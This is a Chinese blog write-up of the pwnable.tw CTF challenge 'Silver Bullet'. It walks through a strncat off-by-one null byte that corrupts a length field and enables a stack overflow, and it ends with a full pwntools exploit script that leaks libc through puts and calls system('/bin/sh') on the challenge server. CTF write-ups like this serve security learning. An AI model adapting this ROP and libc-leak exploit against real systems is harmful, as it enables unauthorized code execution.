美文网首页CTF Re&&Pwn
【CTF-PWN】pwnable.tw_Silver Bulle

【CTF-PWN】pwnable.tw_Silver Bulle

作者: Kirin_say | 来源:发表于2018-07-02 11:12 被阅读12次

    pwnable.tw_challenge_Silver Bullet

    打开程序:

    ./silver_bullet
    +++++++++++++++++++++++++++
           Silver Bullet       
    +++++++++++++++++++++++++++
     1. Create a Silver Bullet 
     2. Power up Silver Bullet 
     3. Beat the Werewolf      
     4. Return                 
    ++++++++++++++++++++++++++
    

    类似一个游戏
    开始没看懂怎么玩
    直接载入IDA分析:

    0x01 power_up

    int __cdecl power_up(char *dest)
    {
      char s; // [esp+0h] [ebp-34h]
      size_t v3; // [esp+30h] [ebp-4h]
    
      v3 = 0;
      memset(&s, 0, 0x30u);
      if ( !*dest )
        return puts("You need create the bullet first !");
      if ( *((_DWORD *)dest + 12) > 0x2Fu )         // *(dest+12)指针指向的值 > 47
        return puts("You can't power up any more !");
      printf("Give me your another description of bullet :");
      read_input(&s, 48 - *((_DWORD *)dest + 12));  // 限制读入长度
      strncat(dest, &s, 48 - *((_DWORD *)dest + 12)); //使用strncat连接两字符串,会自动在结尾添加\x00
      v3 = strlen(&s) + *((_DWORD *)dest + 12);
      printf("Your new power is : %u\n", v3);
      *((_DWORD *)dest + 12) = v3;
      return puts("Enjoy it !");
    }
    

    0x02 create_bullet

    int __cdecl create_bullet(char *s)
    {
      size_t v2; // ST08_4
    
      if ( *s )
        return puts("You have been created the Bullet !");
      printf("Give me your description of bullet :");
      read_input(s, 0x30u);
      v2 = strlen(s);
      printf("Your power is : %u\n", v2);           // s的长度
      *((_DWORD *)s + 12) = v2;                     // +12指12个dword长度
      return puts("Good luck !!");
    }
    

    0x03 漏洞利用

    可以看出漏洞与决定游戏成功的beat函数无关
    关键在power_up函数处:

    read_input(&s, 48 - *((_DWORD *)dest + 12));  
     strncat(dest, &s, 48 - *((_DWORD *)dest + 12));
    

    这里依赖*dest+12处的值来限制读取长度
    而*dest后的数据可以利用strnca修改
    strncat会在字符串结尾自动补全\x00
    当我们先读取了一定长度字符串
    再连接一定长度字符串,两字符串恰好相加为48字节
    并由于strncat自动添加\x00,便会覆盖*dest+12处的数据,造成栈溢出
    而此时依然依赖*dest+12处的值来限制读取长度
    我们便可以继续覆盖栈内数据
    直到将main返回地址修改
    我们需要调用system,便需要直到libc加载的基地址
    同hacknote相同
    我们可以修改main返回地址为put地址(即put在plt中的地址)
    参数为.got中一个地址
    便可利用put出的值以及此函数在libc中的位置计算出libc的基址
    进而计算出system地址
    而后我们重新利用上面的过程来调用system
    所以我们要重新调用main来重复利用上述过程
    此处我们将put的返回地址覆盖为main开始地址即可
    有一点注意:
    只有beat()成功时才会返回main
    否则直接return会以exit(0)方式退出
    故而覆盖*dest+12处的数时,需要让他满足win的条件

    0x04 EXP

    from pwn import *
    
    def create(s):
        p.recvuntil(':')
        p.sendline('1')
        p.recvuntil(':')
        p.sendline(s)
    
    def power_up(s):
        p.recvuntil(':')
        p.sendline('2')
        p.recvuntil(':')
        p.send(s)
    
    def beat():
        p.recvuntil(':')
        p.sendline('3')
    
    p=remote('chall.pwnable.tw', 10103)
    elf=ELF("./silver_bullet")
    elib=ELF("./libc_32.so.6")
    bin_sh_off = 0x158e8b
    puts_addr=0x80484a8
    read_got=elf.got["read"]
    main_addr=elf.symbols["main"]
    create('a'*47)
    power_up('a')
    payload = '\xff'*7+p32(puts_addr)+p32(main_addr)+p32(read_got)
    power_up(payload)
    beat()
    p.recvuntil("You win !!\n")
    read_addr = u32(p.recv(4))
    sys_addr=read_addr-elib.symbols["read"]+elib.symbols["system"]
    bin_sh_addr=read_addr-elib.symbols["read"]+bin_sh_off
    create('a'*47)
    power_up('a')
    payload2='\xff'*7 + p32(sys_addr) + 'a'*4 + p32(bin_sh_addr)
    power_up(payload2)
    beat()
    p.interactive()
    

    相关文章

      网友评论

        本文标题:【CTF-PWN】pwnable.tw_Silver Bulle

        本文链接:https://www.haomeiwen.com/subject/rrocuftx.html